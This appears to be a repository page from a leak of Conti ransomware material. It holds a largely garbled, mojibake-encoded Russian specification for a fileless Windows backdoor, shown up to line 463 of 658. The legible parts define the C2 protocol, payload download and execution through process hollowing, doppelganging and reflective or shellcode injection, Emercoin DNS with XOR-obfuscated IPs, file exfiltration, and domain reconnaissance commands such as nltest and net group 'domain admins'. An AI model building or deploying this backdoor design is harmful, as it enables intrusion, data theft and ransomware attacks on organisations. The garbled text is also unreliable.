Conti Ransomware malware leak WITH LOCKER
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

658 lines
32 KiB

  1. ��������������� BACKDOOR
  2. ����������� �������
  3. ����
  4. ����������� backdoor (������������� ������������ ����), �� ������������ ������� ������� ����, ���������� ����������� ��� ����������� �� ������� �����������,
  5. �� ����������� �� ����������� ������ �� ������� ���� (fileless-����������)
  6. � ���������� "���" � "������" - �����-��������.
  7. ����������
  8. Backdoor ������ �������� ��������� ������������:
  9. *- ������������ � ������� (���������� ������������ �������)
  10. - ����������� � ��������, ����������� � ������� � �������� �� ��� �������
  11. - �� ������ �������� UAC
  12. - �� ������ �������� ����������
  13. - ������ ���������� ������� �������� �� ������������� �������� (emercoin dns, ��� �����, ����� � ����������� ������� ��� - ��� ����� ��� �����)
  14. - �������� ����� ������, ���� �� ������ � ���������� ������������ ������� (inetcpl.cpl -> ����������� -> ��������� ������-�������)
  15. - �������� � ���������� �� ������ ���� � �������: **
  16. - ������ � ����������� ��
  17. - ��� � ������ ����������
  18. - �� ����������� ������ �������������� �����
  19. (���������� ���������: �� ������������� ���� �� ����� ��������� - �� ������ �����, ��� �� ��������, ���� ��� ������ ������� ��������� - �� ������������� ����� � ������� �������� ����� �� ����)
  20. - ��� ������������
  21. - ��� ����������
  22. - � ������ ��������� ��� ��� (���� ��, �� �������� ������)
  23. - ������ trusted ������� � ���������� �� ������
  24. (���������� ���������: cmd /c net view /all | /c net view /all /domain | /c nltest /domain_trusts /all_trusts + �������� ����� ��������� ������������ administrator, ��� ����������� � �����)
  25. - ������� ������ �������
  26. - ������ � ���������� ������� ������ �� ����������� ������������� (� ������ - �� TCP)
  27. - ����� ������� � ��������� .exe ��� .dll
  28. - ������ ���� ������ �� ��������� ������� ��� ������������� ������� ��� ��������� (�.�. ��������� �������� � ���������� ������� ������������ ��� ����,
  29. ����� ������������� ���������� ���� �������� �� ������ ��������� ������).
  30. - ����������� ����� ��� ������ � ���� .ru/��� - �������� �� �������; ����� ��������� �������
  31. ������� ���������.
  32. *- �������� �� �������
  33. * ������ �� ����������: ��������������, ��� ��� ����� �������������, �.�. �� ����� ������������ � �������.
  34. ������ ��� ��� �������� ������������� (�����������, ����������, ��������) � ������ ������ ������ �� �����.
  35. ������ �������� �������� � � ������� ������������� ��, ��� ��������� (��������) ���������� ����� ���� ������������ � ������ ������� ������������.
  36. ** ���� ���������� ����� ���� ������� �� ������� ������ � �� �������� ������ �������.
  37. ���� �������������� ���������� (� ��� ����� ������������� shell) ����������� ��������� ������, ����������� �� �������.
  38. ����� ��������� ����� �������� ��� �������. ��, ���� ���� � ������� � ���� � ���, ����� ������������ ��� ������� ��� .exe (����� ���).
  39. ����������
  40. 0. ����� ����������
  41. ������ ������ �������������� ��������� ������:
  42. - ������ �� ��������� � ���� ������, �� ����������� � ���� ���� (fileless)
  43. - �������� � ������� �������������������� ������������
  44. - ����������� ������ �� - Windows 7/Windows 2008 (��� R2)
  45. - �������� ������� ������� - 32-��������� ������, ������� ������ �������� ��� � 32-, ��� � � 64-��������� ��������� (������������ �������).
  46. - 64-��������� ������ ����� ������ � �������� ��������.
  47. Fileless ��������, ��� ������������ ����� ����������� ����������� ��������� powershell, wscript, jscript � ������� ����������� � Windows ����������������.
  48. ��� ������������� ���������� ����-���� �� ����, ������� ������������ ������������� - �������� ��� �������� ���� ������
  49. (��������, ����������������� ����������� .p12, .pfx, .crt ���), ���������� ���� .exe � �������, � �������� ������� (ntfs file streams)
  50. � ������ ����������� ������.
  51. ������ ������ ���� �������� � ������������ � ������������ "���������� ���� � ������".
  52. ��������, ����� �������������� ������ ��������� ����� - ����� ���������� ������������ �������� ������������ Visual Studio (�����, ������������ ������ ����������?),
  53. ���������� ��-��������� ����������� ����������, ���.
  54. ������� ����������� ������� ��� ������ � ������ ������������ (��� �������, ����� Visual Studio - ��� MinGW, �������� clang) � ����� �������� ������������� ����������.
  55. ��� ����� ���� �������� ��� � ���� .exe, ��� � � ���� .dll (��� ����� �������� ������� �� ����������,
  56. �.�. ������������� .dll �� ������ ����� ��� ����������� ������ .exe).
  57. � ����� ������ ����� ����� � .dll - ������� DllMain(DLL_PROCESS_ATTACH)
  58. 1. �������������
  59. ������ ������ ���������� ������������������ ���������� ���������������.
  60. ������������ ������������ md5-��� �� ������ "����_��������%windir%.���_����������.����_��������%windir\system32%.���_������_���_workgroup",
  61. ������ ������������ �� hex-�������������, � ������� 10-���� ������������� ���� � ���� �������� 128-������� �����.
  62. - �� ������ ��� ������ ��������������
  63. - ��� ���� �� ������ ���� �������� ��� ������� �� ������ ������������� �������
  64. - �� �� ������ ����������� �� ����
  65. - �� ������ ���� ��������
  66. ������ ������ ��������������� �������� ������ - ������ ������������ �����. ����� ����� ����� �� ����������������.
  67. ��� ������ � �������� �� ����� ������; ������������ �� �������������� � ����� ������ ���� - ���� ������������ �� ������.
  68. ���� � ���� ���� ������ �������� ������ � ���� ������ ����, �� ��� _��_����������_ �������� ������ � �������� (��.����).
  69. ������������� ����� ��� ����, ����� �������� ������ ���� �� �������.
  70. ������ ����� ��� ����, ����� ����� ��������� ���� (���������, �������� �������� �������� � ���).
  71. 2. ������ �� ��������� ����������
  72. ��������� �������� ������� ���������� �������� ���������:
  73. - ������ �������� ��� ������������������� ����������
  74. - ������� �������� ���� �� DNS-��������
  75. ������ ������� � ��������� ��������� �������� �� �������� �������, � �������������� ����������.
  76. �������� �������� ���������� � ��������� ������ � �� ����������� ���������.
  77. �������� ������ � BACKEND��
  78. 1. ����� ����������
  79. ���� ����� ���� �� ��������� HTTP(S). �������� �������������� ��������� ����� ������ ���������� (DNS, ICMP) � ����� ������� ���������� � ������� �������,
  80. �� ���� - HTTP.
  81. ��� ������� �������� � URI ������������� �������, ��� �������� � ���������, ��������
  82. GET /%id%/%operation%/%params%
  83. ����� � HTTP-����� 200 ��������� ��������; ��� ����, �� ������ 200 ���������� ��������� ��������.
  84. ������ ������ ������������ ��� ����� ������� �� ������ � ���� ��������� Cookie � ������ group � ��������� ������.
  85. ��� ������� ���������� ����� �� ���� ������������, ��� ���� ���������.
  86. � �������� ��������� ���������� ������������ XOR. ������ �������� ������������� ������� � HEX-�������������.
  87. ��������������, ��� ������� ����� �������� � �������� ���� �� ����������
  88. ����������� ���� ����� ��� ������� ����.
  89. ��������������, ��� ������� ����� ���������� ����� ����������� �����, ����� ���������� �� �����
  90. �������� ������ � �������.
  91. ��� ������� �������� ������ �� ������ (POST) ������������ ����� �� ���������� ����������� ���� POST-�������.
  92. ��� ������� ������� ��������� �� ���������� ������������ ���������:
  93. - %cmdline% ������������ ��� ����������� ��������� ������, ������������ ������������ ��������. ��� ���� � ��������� ������ ����� ���� �������.
  94. �� ����, � ������� ���� "10 https://site.com/file.xyz -c -z -a" ��������� ������� �������� ��������� "-c -z -a",
  95. ��� ������������� ��������� ����������� %cmdline% � ���������� ��������.
  96. - � ��������� ������ ����� �������������� ������ %id%, ������ �������� ������������� ������������� ������� � ���������� �������������.
  97. ��������, ���������� �������� � �� 12345 � ������� ������� "10 1 0 https://site.com/file.xyz -c -z -a -i %id%" ������ ���� ������������� �
  98. ��������� ������ "-c -z -a -i 12345" ����� ��������� ������������ ��������.
  99. - ��� ������ ������������ �������� ������ ��������������� ���������� ��������� VERS, ���������� ������������� ����.
  100. � ���������� ������ �������� ��������� ������ ����� ���� �������� - �������������.
  101. ������ �������� � ������ cmd/powershell �������������� ������ ������� CreateProcess().
  102. ������ ��������� .exe ������� ����������� � ������� �������� ������ Process Hollowing/Process Doppelganging.
  103. 2. ����������� � ���������� �������
  104. � ������� ������� �� ����� ������ ��������� ����������:
  105. - ������������� ������
  106. - ����� ��������� ������� ��� �����
  107. - ����� ��������� emercoin-������� (���������)
  108. �������� ������ � ��������� � ������� ������ � �� ����������� ���������.
  109. ��� ����� ������� ���� � ��� ������������� ���������� � �������� (����� ��� ���������� ������ �� ��������), �� ���������:
  110. - ������ ��� ��������� �������
  111. - ������ ��������� ����� ������� �� ��������� � �� ����������� ���������.
  112. ��������������, ���:
  113. - ���� ��� ��������� ������� ����, �� ������ ���������� ������� ������ ����� ������������ ����������
  114. - ���� ��� ���������� ����������, ����� ����� ���� ���� � �� �������� ���� ����������� � �������.
  115. ����� ������� IP-������ �� ������ Emercoin, ������� ������������� IP-����� ����� �������� XOR 254 ��� ������� ������.
  116. ��������, 124.245.101.251 (������� �� DNS-������) -> 130.11.155.5
  117. �.�. DNS-���������� �������� �������, ����� ������� ���������� �� ������ �� ������ �� DNS-������ �������.
  118. ��� ������� ipxor.ps1 �� PowerShell:
  119. $ip = read-host -prompt "Enter IP";
  120. write-host $ip;
  121. $newip = '';
  122. ($ip.split('.') | foreach {
  123. $octet = [byte] ( $_)
  124. $octet = $octet -bxor 254;
  125. $newip = -join($newip,'.',$octet);
  126. }
  127. )
  128. write-host $newip;
  129. 4. ������ �������:
  130. GET /%id%/2
  131. �����: ����� ���� "���_������� ���������"
  132. ��� ���� ����� ������:
  133. - �� ��������� ������ 5 �����
  134. - ���� �� �������� �� ���������� �� ����� ������ NOP (��.����)
  135. ����������� ������ ��������� ���������� (������� ������ �� ���������� � ��-������� ��������� timeout),
  136. �.�. ��������������, ��� ����� ��������� ���������� ���������� ������� ����� ����������� ���������.
  137. ���� ���������� ������� ���� �����������, �� HTTP-������ ������� �������� ��� �����, �� ������������ ��� ������� ����� 14 (����� ���������).
  138. ���� ������� � ���������:
  139. 0 NOP %time% - ��� ��������. ����� - ����� ������, �� ������� ������ ������� ��� �� ���������� ������� �� ������.
  140. 1 %time% �������� ���������� � �������. ����� - ����� ������, �� ������� ������ ������� ��� �� ���������� ������� �� ������.
  141. �������� time ������������.
  142. * ���������� � ������� ����� ����� ���������� ����� ������� .cmd-������� (�������� 12)
  143. 10 %runtype% %timeout% %mask_process% %URI% %cmdline% - ���������� � ������ .exe-�����
  144. 10 4 [%mode% %cmdline%]
  145. - %runtype% - 1 ��� �������� ������� (CreateProcess; ����������� ���� ������������ �����������)
  146. 2 ��� ������� �������� process hollowing (����������� ���� ��� �� ����������� ��� � ������)
  147. 3 ��� ������� �������� process doppelganging (����������� ���� ��� �� ����������� ��� � ������)
  148. (�������� ������������� ������� Process Herpaderping)
  149. 4 ��������������: ��������� ���� ���������� ��������� ������ � ���������������.
  150. ���� ���� ������, ������ ��������� �������������� ����� ������� ���������� (�� �� ��� ����� 0, �������� ��� �������������)
  151. %mode% - ����� �������:
  152. 0 - ��� ����� (��������� ������, ������� ��������� ���� ��� � ��������� ������)
  153. 1 - exe-������, ������ ��������: filename.exe %cmdline%
  154. 2 - dll-������, ������ ��������: rundll32 filename.dll,%cmdline%
  155. 3 - dll-������, ������ ��������: regsvr32 /s filename.dll %cmdline%
  156. 4 - js-������ (������ ������� ���� ����� ��������)
  157. cmdline - ��������� ��������� ������ �������
  158. ��� mode=2 ������ �������� - ��� �������-������� - ����� ����� � ������
  159. 5 ���� ����� �� ���� ��� �������. cmdline ������ ������ ���� ���� �������� ����.
  160. - %timeout% - ������� ���������� �������, � ��������. 0 - �� ���������� ���������� ������� (�������, ��� ������� ���������� ��� ������� �������)
  161. ���� ������� ������, ��� ������ ��������� ���������� ������� � ������ ��� � ������ �� ���������� ����������� ��������.
  162. ��� ����, ��� �� ����� ��������� ������� �� ������ ����� ��������� �� ��������� ���������� �������� (������ ����� ������� �� ������� ��������� ������� � ����� ������������).
  163. ���� ������� �� ������, �� ����������� ������� ��������� �������, ��� ������ �� ������� ���, � �� ����� ��������� ����� �������� ��� �����������.
  164. ���� ������� �� ���������� �� ��������� �������, ��� ��������� ������� � �������� ������ �� ������.
  165. - %mask_process% - ��� �������� ��� ���������� process hollowing/process doppelganging
  166. 0 - �� ������������
  167. 1 - notepad.exe
  168. 2 - explorer.exe
  169. 3 - svchost.exe
  170. 4 - cmd.exe
  171. - %URI% - ����, ������ ������� ������� ���� (� ������������); ���� ������� ������� ����, ��� ������� - � ����� �� ������� ��������� "could not download file from %uri%"
  172. � ��������� ������ 2 ���� �������� ����������� (����� � � ��������� ��������), �������� ���������� � ���� GET-������.
  173. - %cmdline% - ��������� ������ ��� ������� (������������)
  174. 11 %runtype% %pid% %timeout% %URI% %cmdline% - ���������� � ������ .dll-�����
  175. - %runtype% 0 - rundll �������������� ������ �������� rundll32.exe ��������� �������:
  176. rundll32.exe dllname.dll,%cmdline%
  177. 1 - regsvr �������������� ������ �������� regsvr.exe ��������� �������:
  178. regsvr.exe dllname.dll %cmdline%
  179. �������� ����� ����� dll ������ DllRegisterServer
  180. 2 - regsvr (silent) �� �� ��� � 1, ������ ������ �������������� � "�����" ������, ������� �������: regsvr32.exe /s dllname.dll %cmdline%
  181. 3 - reflective injection � ������� %pid%.
  182. 3 � 4 ��������� ���
  183. �������������� ������������ ������� ������������ �������� https://github.com/dismantl/ImprovedReflectiveDLLInjection
  184. �������� ������� ���������� (bootstrap function, � ��������� �-� ReflectiveLoader) ���������� ������ ���������� %cmdline.
  185. 4 - reflective injection � ����������� �������
  186. - %pid% 0 �� ������������ (��� runtype 0 1 3)
  187. �� 0 - ����� �������� ��� ������������ ��������
  188. 12 %runtype% %timeout% [%cmdline%]\r\n%script% - ������ .bat-������� � �����������
  189. - %runtype% - 1 ������ ������� ����� ����� (��.���������� � ������� 13 �� ������� �������)
  190. 2 ���� ������� �� ���� � ������ ����� CreateProcess
  191. - %cmdline% - ��������� ������ ������ ������� (�.�. ��, ��� ���������� � ���������� %1, %2 ��� � .bat-������ - ��� �� ��������� ������ �������� cmd.exe!
  192. �������� ��������������
  193. ����� ������� ��������� ����� ����������� ������ \r\n
  194. ��� ������� ������� � ������ �� ����, ��� ����� �� �������� ����������������; ����� ���������� ��������� ���� �� �������� ���������
  195. 13 %runtype% %timeout% [%cmdline%]\r\n%script% - ������ powershell-������� � �����������
  196. - %runtype% - 1 ������ ������� ����� �����
  197. 2 ���� ������� �� ���� � ������ ����� CreateProcess
  198. - %cmdline% - ��������� ������ ������ ������� (�.�. ��, ��� ���������� � argv � .ps1-������ - ��� �� ��������� ������ �������� powershell.exe!
  199. ����� ������� ��������� ����� ����������� ������ \r\n
  200. � ��������� ������ 2 ����� ������� ���������� � ���� GET-������.
  201. �������������� ������ ��������� �������:
  202. runtype = 1
  203. ����������� ����� � ������������ ��������, ��� ���������� ����������� � STARTUPINFO ��� ������� powershell.exe, ����� ������ ������� � ���� �����.
  204. Powershell ����������� ���:
  205. powershell -
  206. runtype = 2
  207. powershell -executionpolicy bypass -file tmpscript.ps1 %cmdline%
  208. ��� ������� ������� � ������ �� ����, ��� ����� �� �������� ����������������; ����� ���������� ��������� ���� �� �������� ���������
  209. 14 - reset. ����� ����������� ���������� �������. ���� ���������� ������� �������� ���������� (���� ���������� ���������� ��������),
  210. �� ���������� ��� ��������� � ������ ������ �� ����.
  211. 15 %pid% - ���������� �������� (TerminateProcess)
  212. 16 filename - ��������� ���� � ���������� �� ������
  213. 17 %hexcode% ������ ������������� ��������� ���� � ��������� ������������ ��������,
  214. ��������� ��������� ������� https://github.com/DimopoulosElias/SimpleShellcodeInjector/blob/master/SimpleShellcodeInjector.c
  215. ������ ����: AB CD EF 01 23 45 67 - 16-������ ������ � ������������ ��������, ������� �������, ��� ��������� ������, ����� ���������� 1 ����������.
  216. ������� �� ������������. �������������� ��� shell-��� �� �����������.
  217. 18 %timeout% ����������� � �������. ��������������, ��� ��� ���������� �� ���� ������, � ���������.
  218. 100 ��������� �� �������.
  219. ������� ��������� ������ ��� �������� ����, ������� ���������� ����������� � �������.
  220. 5. ��������� ���������� ���������� �������
  221. POST /%id%/3
  222. ���� ������ �������� ����� � �������� form/urlencoded.
  223. ������������� ������� �� ���������� �������.
  224. ��������������, ��� �� ��������� ������ �� �������, ����������� ������� �� ������� �������������
  225. (����� ���������� ����� ������, ����� �� ����� �� ������ ������).
  226. ��� ���������� ��������� � ����� �� ��� ���, ���� �� ����� ������� ����� ����� �� ������� (� ��� ����� ��������� - HTTP-���� 40*, 50*)
  227. ���� � ������� ���� ������� ��� ������� ��������, ��� ��������� ��������� ��������, ������ �� ���������� ��������� � 30 �����.
  228. ���� �� ��������� �����, ����� ������ ��� �� ��������.
  229. 5.0. ����� �� ������� ������� ������
  230. ��� ������ ������� ����� ����� ������� �� ���� ������: �������������� ��������, � ������ ��������� (stdout � stderr), ����������� �������� ����� ������.
  231. pid=1234
  232. stdout and stderr here
  233. ���� ��������� ������ �������, � �������� �������������� �������� 0 (����), � ��������� ������� ���� ��������� �� ������.
  234. 5.1. ����� �� ������� 1 � ����������� � �������
  235. ���� POST-������� ������������ � �������� form/urlencoded, �� ���������� ������:
  236. group=%��� ������%
  237. path=������ ���� � ��������� ����� ������� (���� �� ������������ ��������� fileless ����������)
  238. os=3-7 ���� ���������� major-version, minor-version � build ������������ �������, ���� ������� ������� � �������
  239. (��������, ��� 6.1 build 7600 ��� ����� 617600).
  240. os[1]=������� ���� �� (W=Windows) � ������ ��
  241. os[2]=���� ��
  242. os[3]=ProductInfo https://docs.microsoft.com/en-us/windows/win32/api/sysinfoapi/nf-sysinfoapi-getproductinfo
  243. ��� Windows 7 (Version 6.1 build 7600 ProductInfo 0x00) ��� ����� os[1]=W61&os[2]=7600&os[3]=00
  244. arch=����������� (�����������): 86 ��� 64
  245. cname=��� ����������
  246. uname=��� ������������
  247. av[]=��� ����������
  248. avp[]=������ ����������
  249. domain=��� ������ ��� ������� ������ ���������� (����� �������� �� NetWkstaGetInfo)
  250. net=��������� ������� net view /all
  251. netdomain=��������� ������� net view /all /domain
  252. net group "Domain Computers" /domain
  253. trust=��������� ������� nltest /domain_trusts /all_trusts
  254. admin=��������� ������� net localgroup "administrator"
  255. admindomain=��������� ������� net group "domain admins" /dom
  256. soft=������ ������������� ��������
  257. ip=������� IP-����� ����������
  258. locale=������
  259. tz=��������� ����
  260. ps=������ ���������
  261. wsl=������� ���������� WSL/WSL2 �� ����������
  262. 5.2. ����� �� ������� 100 �������� �� �������
  263. ������ OK � ������ ������, ����� ������������ ������ � ��������� ������ � ������ ������.
  264. 5.3. ����� �� ������� 10-4 ��������������
  265. ������������ ������ � �������, ���������� � ���������� �������� ��� ���������� �������.
  266. ��������, "��", ��� "Will autoupdate in 60 seconds", ��� "Cannot proceed"
  267. 5.4. ����� �� ������� 15 �� ��������� ��������
  268. � �������� ������ ������������ ��������� ���������� GetLastError() ����� ����� ���������� TerminateProcess()
  269. � ���� ����������� �����
  270. 5.5. ����� �� ������� 16 � �������� ����� �� ������
  271. � �������� ������ ������������ ���������� ����� "��� ����", ��� ����������� x-www-urlencoded ��� multipart/form-data, ����� �� ��������� ����� ��������
  272. �� ���� ����������� �����������.
  273. ����������� ������ ������������ ��������� Content-Length.
  274. �������� ��������� Content-Type: application/octet-stream
  275. ���������� ����� �������� �� 10 ��������.
  276. �� ������� ��������� ���� �������� �������, � ���� ���� ��������� �� ������, �������� File too large (������)
  277. ������� ��������� � ��������� ���� ��� ����� �������; ���� �������� ��� ���������� �� ������� ������ ����������� ����.
  278. 5.6. ����� �� ������� 17 � ���������� ������������� shell-����
  279. ������������ ������ � �������, ���������� � �����������.
  280. ��������:
  281. HEX parse error
  282. Done
  283. Still alive ���
  284. 5.7. ����� �� ������� 18 � ����������� � �������
  285. ������������ ������ � �������, ���������� � �����������.
  286. ��������:
  287. Done
  288. Error anchoring, error code = %ld
  289. Still alive ���
  290. 6. �������� ���������
  291. POST /%id%/4
  292. � ���� POST ���� ������������ ���������, ������������� XOR %id%
  293. ������ ���������� ��������� �� ����� ���������� (�� � ����� �� �����-���� �������� ��� ������ � �������).
  294. ������� ������������ ��������� ��������� ��� ����� ���� - �� ����� �������.
  295. �������������� ������������� ���� ����������� ��� ��������� ����������� � �����������.
  296. �������, ����������
  297. ������ �����
  298. - ������������ ���� � IP-�������, ���������� ����, �������, �������, ��������� �����������, ��������� �������
  299. (���������� ���������: ��� ��� ���������� ��������� ��� ��� ����������, ������������ �������� ������������)
  300. - ������� � ���������� �� ���� �����
  301. � ��� �����, �� ������ ������, ����� ����� �� ���� ��������� ���� (������ ��, �������/���������� �����, ���)
  302. - ��������� ��� ����������� ������ (�� ����� ������������)
  303. �� �������� ����:
  304. - ����������� ������ ������� ��� ���� (������������ ������������� ��������� ����)
  305. - ����� ��������� ����������
  306. - ���������� � ������� ��������� �������/�����
  307. - ������� ���� (� ������������ � �������� ������ �� �����.�������)
  308. - ������� ���� (������ ������� � ����� - ���������, ��� �������� ���������� ������� � �����-�������� �� ����� ������������,
  309. ������� �� ���� (������ 4))
  310. ��������������, ��� ����� ������ ������� ����, ����������� ������� ����������� �� ��������� ������ � ����.
  311. ���������� ��������� ����� ����� ���� � ������� (������ ������ �������, ��� ������� �������� ������� ����� �������).
  312. � ������, ���� IP-����� ������� ������������� � ���� ���, ��� ������� ����� "���������" ������ ���� ��������� � ���������.
  313. �������������� ������� ����������� ����� ����������� ������ (��� �������), ��� ��� �������� ���������,
  314. ��� � ��� �������� ������� � ������� �� ��������� ��������� ����� � ��� �� ������ � �������.
  315. ���� �������:
  316. - ����� (����� ��������� � ������� ���������� � ������ ���)
  317. - ��������
  318. ������� ������� ��������� ������������ �� ���������:
  319. - ������ (� ������ ������)
  320. - ������ (��� � ����� - �� ������ ������)
  321. - ��������� IP-�������
  322. ����������
  323. 1. ��� ��������� �������� IP-������
  324. 2. ��� DNS-������� ����� Emercoin
  325. 3. ��� ��������� ������ ������������� ��������
  326. 4. ��� ������� ��������� ����� process hollowing/doppelganging
  327. 5. ��� DNS-������� ��� TCP-����������
  328. 6. ��� ���������� �����
  329. 7. ��� ���������� ��������� �������
  330. ���� ������������
  331. ������ �������������� ������������ �������� ���:
  332. - ������������ ����� ���������� �������
  333. - ������������ ��������� � ������
  334. - ���� �������� ������������ ���������� � ������.
  335. ������ ���� �� ����������� �������� �����������.
  336. ���� �� �� �������� ��������� � ��� ���������� �������.
  337. �������� (�������) ����������� �� ��
  338. - ����� ����, ��� ����������� �������� ������
  339. - ������ ����, ���� �� ���� �������� ��� ������ (���� ���� �������, ����� ���� ������ ������)
  340. - ���� ���� ��������� �������� ��� ���� �������.
  341. ����� ����������� �� �� ������.
  342. ������ �������������� ������������
  343. ��������� ��� ������� � ��������� - ����������� ���������, ������, �������.
  344. � ���������� ���������� ����� ��������� �������� �������� � �������� ������, �� ������ ������ �� ������ �����, ���� �� ������� �������.
  345. 0. �������� �� ������������ �������� �������� - ������������ � �������������� ������, x86 � x64.
  346. ������� ��������� ������������ ������, ����� ��������������. ��������� �� ����������� � ���� ����������� �������.
  347. ��� ������ �����, ����� �� ����� ������ ����� ���� �������� ��� � ������� ������������ �� ������.
  348. ���� ��� �������� �������������� ������ �������� ������, �������� ��������� �� �� ������������.
  349. ���� �� ������������ �����������, ��������� ��� � ����� ������������.
  350. ���� �� ������������ �� �����������, ��������� ��� ��� ������������ ������ �� �������������� ������.
  351. ������������ ������� ������ ����� �� ����� ���� - �� ������ ������� ������ ��� ������� ���������� (����������� ����, ��������� �� �� ���),
  352. ���� ����� �� ��������� (��������, ���� ��� �� ����������� ������, ������� �������� ���������� ����������� ��������� ��� ���).
  353. 1. ��������� �� ������� �� ������.
  354. 2. ��������� � ������� ��� ����� ���������, �������� �������� ������ ����� ����.
  355. ���� �������, � ������� 5 �����. ���� ������� ���, ������, ����.
  356. ��� ������ ������������ ��� "online", ���� � ������� ���� �� 15 ��������� ����� � ��� ���� �����.
  357. 3. ��������� �� ������� �������.
  358. ������ ������� ����� ����������� � ��������� (�� 5 �����) - ��� ���������.
  359. 3.1. Get System Info
  360. ������ �������� ���� � ������� � �����.�������.
  361. 3.2. Run .exe � ������� ������������ ����� Run Type, Host Process (Mask).
  362. �������� ��� ����� ����� ����, ������� �� ������� ��������� .dll (���������� ��������������). ��������, pscp.exe.
  363. ������� ������ �����������, � ����������� ���������� ������� ������ ���� ����� ������ ���� �������.
  364. * ��� ������ ���� timeout = background run, ����� �� ������� �� ��������� - ������� ����������� � ���� � ������ �� ��� �� ����������.
  365. ��� ���������� ����� � ������ ����� ������.
  366. 3.3. Run .dll
  367. TODO
  368. 3.4. Run .bat
  369. 3.4.1. ������ �����-������ ��������� �������, �������� hostname, whoami, date /t
  370. ������� ������ �����������, � ����������� ���������� ������� ������ ���� ����� ������ ���� �������.
  371. 3.4.2. �������� �������������� .bat-���� �� ���������� ������. ����������� ������ ����� ��������� ��������� ����� ����� �� ����� ������.
  372. ������ ������ �����������, � ����������� ���������� ������� ������ ���� ����� ������ ����� �������.
  373. 3.5. Run PowerShell
  374. 3.5.1. ������ �����-������ ��������� �������, �������� $PSVersionTable.PSVersion
  375. (������� ������ Powershell)
  376. ������� ������ �����������, � ����������� ���������� ������� ������ ���� ����� ������ ���� �������.
  377. 3.5.2. �������� �������������� .ps1-���� �� ���������� ������. ����������� ������ ����� ��������� ��������� ����� ����� �� ����� ������.
  378. ������ ������ �����������, � ����������� ���������� ������� ������ ���� ����� ������ ����� �������.
  379. 3.6. Reset
  380. ����� ����������� ���� �������, ����� ��������� ���������� ����-���� ����������� (����� ����������� run .bat timeout 10000),
  381. ��� ����������� ���������� ������ �����.
  382. ����� ���������� Reset, ���������� ����������� ������� ������ ���� �������� ��� done, ��� ����� � ������ ��������� �������.
  383. 3.7. Terminate Process
  384. ������� ������� ������� �� ��� ������ (pid)
  385. ��� ����� ����� ����������� �������-������ (�������� ��������� notepad.exe ������ � ���������� ��� ����� � ���������� �����).
  386. ����� ���������� ������� ������� ������ �����������.
  387. 3.8. Download File
  388. ������� ��������� ���� � ������� ������ (������ �� 10�)
  389. ����� ������ ������ ���� � ����� � �����.����.
  390. ����� ���������� ������� ���� ������ ���� �������� ��� ����������, ������ ������ �������������� � ����������� ���������� �������.
  391. 3.9. Suicide
  392. ������� ������� ������ � ������� ������.
  393. ����� ������������ ������ ��� �� ������ �����������.
  394. 4. �����������.
  395. ����� ������������ ������ ��� ������ ��������� � �������.
  396. 5. �������.
  397. �� ������ ���� �������� �� �� ������, �� �� ���.
  398. 6. ����������
  399. 6.1. ���� ������� ������ x86 �� ������ x64, �� ������ ����� ������ ���������� �� x64 ������ ���� ��,
  400. � ����� ��������� ������ x64 ����.
  401. �������� ������� - ������ ������ ��������� ���� ����������� ��������� �����������.
  402. 6.2.1. ������� � ������ ������� ��� ����� QA (��� �������, ������� �������� �� ������ � ����������)
  403. 6.2.2. ������� �������� � ����� ������� ���� � �������, � ������� ������� �� �� ������, �� �� ���� ����������.
  404. 6.2.3. ������ � ������������ ������ � ������� ����� ���������. ����������: � ������� ����� �� ��������� ����� ���� ���� ������.
  405. 6.2.4. �������� � ������ ����� ������ ������, ���������� ������ �������� �� ���������� ���� ������.
  406. 6.2.5. ������������� ������� ������. ���������� ������ ������� �� ������.
  407. ���� �� �����������
  408. ����������� ������ ������ � �������, ������������ ���������� � ��������� ������ ����� ������������.
  409. �����!
  410. ���������� �������� � ������������ ������ �����������. ������ ����� ������������ ����� ���������� � ��������� ��� �� ���������� ��������.
  411. ���� �� ������������ �������
  412. ��������� �� �� � ������ �� ������������:
  413. - ����� ������������� � ����� ���������� � ������
  414. - �������������, ��� ��������� ������������.
  415. ����� �� dyncheck ������������:
  416. - ����� ������������� ������� ���������
  417. - �� �������������
  418. ����� �� ������� ������ �����, ���� �� ��������� �������.
  419. ������������� ����� ������� ��������� ����� ��������� ������������ ����� ���������� �� ������, ��������������� ����������,
  420. � ������ ����� ��������������� ����������.
  421. ���� ������������ ������
  422. �������� ������ ��� �������.
  423. ��������� �� ���������� ���� �����!
  424. 1. ��������� ��������� � ���������� ������. ������ (��) ��� � 30 ��� ����� ����������� � ������� (A�M) �������,
  425. ��������� � ���������� �����.
  426. 2. ������� ���������� � �������. �������� � �������� ���������� 60 ������.
  427. 3. ������ ������� GET /%id%/2, ����� POST /%id%/3.
  428. 4. �������.
  429. 4.1. "0 %time%" - � ������� no_operation 30 ���.
  430. ������ ���
  431. ��� ������� ����� ������ ������ ��� ��������� ������������, �.�. 30 ��� ����������� ��� �� ��������.
  432. 4.2. ������� 10. ��� ������� ������ �������� �� ������ ���������, � �������� ������� ������������ test32.exe.
  433. ��������� test32.exe ������� � stdout ����� "test" � ������ ���������� ����������. �� ������ �������� ���� ����� � ��M.
  434. ����� ������ 10 %runtype% %timeout% %mask_process% %URI% %cmdline%.
  435. 4.2.1 "10 1 60 0 %URI% a b c %id%"
  436. ��� ������ ���������� �������� %URI% � ����� � test32.exe,
  437. a b c %id% - ��� ��������� � test32.exe, �� ������ ��� ����, ������ �� ������� %. %id% - ������, ������� �� ������� �� ���� id.
  438. ����� ��� ��������� �������:
  439. pid=0
  440. msg=program start error
  441. ����� ��� ������� �������:
  442. pid=NNNN
  443. stdout=����� �� ���������
  444. ����� ��� ������ �� ��������:
  445. pid=NNNN
  446. msg=timeout
  447. 4.2.2 "10 1 0 0 %URI% a b c %id%"
  448. �� ��, ��� � 4.2.1, �� timeout = 0
  449. ����� ��� ��������� �������:
  450. pid=0
  451. msg=program start error
  452. ����� ��� ������� �������:
  453. pid=NNNN
  454. msg=program is running
  455. 4.2.3 "10 2 60 1 %URI% a b c %id%" - process hollowing
  456. ������ ����� ��
  457. 4.2.4 "10 2 0 1 %URI% a b c %id%" - process hollowing, timeout=0
  458. ������ ����� ��
  459. 4.2.5 "10 3 60 1 %URI% a b c %id%" - process doppelganging
  460. ������ ����� ��
  461. 4.2.6 "10 3 0 1 %URI% a b c %id%" - process doppelganging, timeout=0
  462. ������ ����� ��
  463. 4.3. ������� 11. ��� ������� ������ �������� �� ������ dll, � �������� ������� ������������ TestDll32.dll.
